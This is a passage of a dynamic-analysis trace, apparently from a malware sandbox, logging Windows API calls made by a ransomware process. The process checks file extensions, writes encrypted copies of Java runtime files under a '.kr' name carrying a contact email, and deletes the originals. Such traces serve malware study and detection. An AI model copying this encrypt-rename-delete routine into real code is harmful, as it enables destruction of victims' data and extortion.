(lpString=".pdf") returned 4 [0177.696] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString=".xls") returned 4 [0177.696] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString=".xlsx") returned 5 [0177.696] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0177.696] lstrlenW (lpString=".ppt") returned 4 [0177.696] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.696] lstrlenW (lpString=".zip") returned 4 [0177.696] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString=".rar") returned 4 [0177.696] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString=".bz2") returned 4 [0177.696] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString=".7z") returned 3 [0177.696] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0177.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.696] lstrlenW (lpString=".dbf") returned 4 [0177.696] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.696] lstrlenW (lpString=".1cd") returned 4 [0177.696] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.696] lstrlenW (lpString=".jpg") returned 4 [0177.696] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0177.696] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.697] lstrlenW (lpString=".doc") returned 4 [0177.697] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0177.697] lstrlenW (lpString=".docx") returned 5 [0177.697] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0177.697] lstrlenW (lpString=".pdf") returned 4 [0177.697] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0177.697] lstrlenW (lpString=".xls") returned 4 [0177.697] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0177.697] lstrlenW (lpString=".xlsx") returned 5 [0177.697] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0177.697] lstrlenW (lpString=".ppt") returned 4 [0177.697] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0177.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.697] lstrlenW (lpString=".zip") returned 4 [0177.697] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0177.697] lstrlenW (lpString=".rar") returned 4 [0177.697] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0177.697] lstrlenW (lpString=".bz2") returned 4 [0177.697] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0177.697] lstrlenW (lpString=".7z") returned 3 [0177.697] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0177.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.697] lstrlenW (lpString=".dbf") returned 4 [0177.697] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0177.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.697] lstrlenW (lpString=".1cd") returned 4 [0177.697] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0177.697] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0177.697] lstrlenW (lpString=".jpg") returned 4 [0177.697] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0177.698] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0177.698] lstrlenW (lpString="calendars.properties") returned 20 [0177.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0177.698] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=1378) returned 1 [0177.698] CloseHandle (hObject=0x3ec) returned 1 [0177.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 0x20 [0177.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0177.698] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0177.699] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.699] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0177.699] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0177.699] GetLastError () returned 0x0 [0177.699] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x562, lpOverlapped=0x0) returned 1 [0177.701] WriteFile (in: hFile=0x3fc, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x570, lpOverlapped=0x0) returned 1 [0178.299] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.299] WriteFile (in: hFile=0x3fc, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xfc, lpOverlapped=0x0) returned 1 [0178.299] SetEndOfFile (hFile=0x3fc) returned 1 [0178.792] CloseHandle (hObject=0x3fc) returned 1 [0178.793] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.793] SetEndOfFile (hFile=0x3ec) returned 1 [0178.796] CloseHandle (hObject=0x3ec) returned 1 [0178.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.796] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\calendars.properties")) returned 1 [0178.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.797] lstrlenW (lpString=".doc") returned 4 [0178.797] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.797] lstrlenW (lpString=".docx") returned 5 [0178.797] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.797] lstrlenW (lpString=".pdf") returned 4 [0178.797] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.797] lstrlenW (lpString=".xls") returned 4 [0178.797] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.797] lstrlenW (lpString=".xlsx") returned 5 [0178.797] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.797] lstrlenW (lpString=".ppt") returned 4 [0178.797] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.797] lstrlenW (lpString=".zip") returned 4 [0178.798] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString=".rar") returned 4 [0178.798] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString=".bz2") returned 4 [0178.798] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString=".7z") returned 3 [0178.798] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.798] lstrlenW (lpString=".dbf") returned 4 [0178.798] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.798] lstrlenW (lpString=".1cd") returned 4 [0178.798] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.798] lstrlenW (lpString=".jpg") returned 4 [0178.798] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.798] lstrlenW (lpString=".doc") returned 4 [0178.798] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString=".docx") returned 5 [0178.798] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.798] lstrlenW (lpString=".pdf") returned 4 [0178.798] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString=".xls") returned 4 [0178.798] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString=".xlsx") returned 5 [0178.798] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.798] lstrlenW (lpString=".ppt") returned 4 [0178.798] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.798] lstrlenW (lpString=".zip") returned 4 [0178.798] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.799] lstrlenW (lpString=".rar") returned 4 [0178.799] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.799] lstrlenW (lpString=".bz2") returned 4 [0178.799] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.799] lstrlenW (lpString=".7z") returned 3 [0178.799] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.799] lstrlenW (lpString=".dbf") returned 4 [0178.799] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.799] lstrlenW (lpString=".1cd") returned 4 [0178.799] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\calendars.properties") returned 59 [0178.799] lstrlenW (lpString=".jpg") returned 4 [0178.799] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.799] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0178.799] lstrlenW (lpString="messages.properties") returned 19 [0178.799] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0178.802] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2860) returned 1 [0178.802] CloseHandle (hObject=0x3ec) returned 1 [0178.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20 [0178.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.803] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0178.803] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.803] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.803] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0178.816] GetLastError () returned 0x0 [0178.816] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xb2c, lpOverlapped=0x0) returned 1 [0178.837] WriteFile (in: hFile=0x450, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xb30, lpOverlapped=0x0) returned 1 [0178.838] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.838] WriteFile (in: hFile=0x450, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xfa, lpOverlapped=0x0) returned 1 [0178.838] SetEndOfFile (hFile=0x450) returned 1 [0178.838] CloseHandle (hObject=0x450) returned 1 [0178.839] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.839] SetEndOfFile (hFile=0x3ec) returned 1 [0178.843] CloseHandle (hObject=0x3ec) returned 1 [0178.844] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0178.844] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.845] lstrlenW (lpString=".doc") returned 4 [0178.845] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.845] lstrlenW (lpString=".docx") returned 5 [0178.845] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.845] lstrlenW (lpString=".pdf") returned 4 [0178.845] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.845] lstrlenW (lpString=".xls") returned 4 [0178.845] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.845] lstrlenW (lpString=".xlsx") returned 5 [0178.845] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.845] lstrlenW (lpString=".ppt") returned 4 [0178.845] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.845] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.845] lstrlenW (lpString=".zip") returned 4 [0178.845] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.845] lstrlenW (lpString=".rar") returned 4 [0178.845] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.845] lstrlenW (lpString=".bz2") returned 4 [0178.845] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.845] lstrlenW (lpString=".7z") returned 3 [0178.845] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.846] lstrlenW (lpString=".dbf") returned 4 [0178.846] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.846] lstrlenW (lpString=".1cd") returned 4 [0178.846] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.846] lstrlenW (lpString=".jpg") returned 4 [0178.846] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.846] lstrlenW (lpString=".doc") returned 4 [0178.846] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString=".docx") returned 5 [0178.846] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0178.846] lstrlenW (lpString=".pdf") returned 4 [0178.846] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString=".xls") returned 4 [0178.846] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString=".xlsx") returned 5 [0178.846] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0178.846] lstrlenW (lpString=".ppt") returned 4 [0178.846] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.846] lstrlenW (lpString=".zip") returned 4 [0178.846] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString=".rar") returned 4 [0178.846] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString=".bz2") returned 4 [0178.846] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0178.846] lstrlenW (lpString=".7z") returned 3 [0178.846] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0178.846] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.847] lstrlenW (lpString=".dbf") returned 4 [0178.847] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0178.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.847] lstrlenW (lpString=".1cd") returned 4 [0178.847] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0178.847] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65 [0178.847] lstrlenW (lpString=".jpg") returned 4 [0178.847] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0178.847] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0178.847] lstrlenW (lpString="messages_de.properties") returned 22 [0178.847] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0178.847] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3306) returned 1 [0178.848] CloseHandle (hObject=0x3ec) returned 1 [0178.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0178.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0178.848] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0178.848] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.848] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.848] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0178.849] GetLastError () returned 0x0 [0178.849] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xcea, lpOverlapped=0x0) returned 1 [0178.868] WriteFile (in: hFile=0x450, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0178.869] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.869] WriteFile (in: hFile=0x450, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x100, lpOverlapped=0x0) returned 1 [0178.869] SetEndOfFile (hFile=0x450) returned 1 [0178.869] CloseHandle (hObject=0x450) returned 1 [0178.870] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.870] SetEndOfFile (hFile=0x3ec) returned 1 [0179.272] CloseHandle (hObject=0x3ec) returned 1 [0179.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0179.273] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0179.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.273] lstrlenW (lpString=".doc") returned 4 [0179.273] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.273] lstrlenW (lpString=".docx") returned 5 [0179.273] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.274] lstrlenW (lpString=".pdf") returned 4 [0179.274] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.274] lstrlenW (lpString=".xls") returned 4 [0179.274] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.274] lstrlenW (lpString=".xlsx") returned 5 [0179.274] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.274] lstrlenW (lpString=".ppt") returned 4 [0179.274] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.274] lstrlenW (lpString=".zip") returned 4 [0179.274] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.274] lstrlenW (lpString=".rar") returned 4 [0179.274] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.274] lstrlenW (lpString=".bz2") returned 4 [0179.274] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.274] lstrlenW (lpString=".7z") returned 3 [0179.274] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.274] lstrlenW (lpString=".dbf") returned 4 [0179.274] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.274] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.274] lstrlenW (lpString=".1cd") returned 4 [0179.274] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.275] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0179.275] lstrlenW (lpString=".jpg") returned 4 [0179.275] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.275] lstrlenW 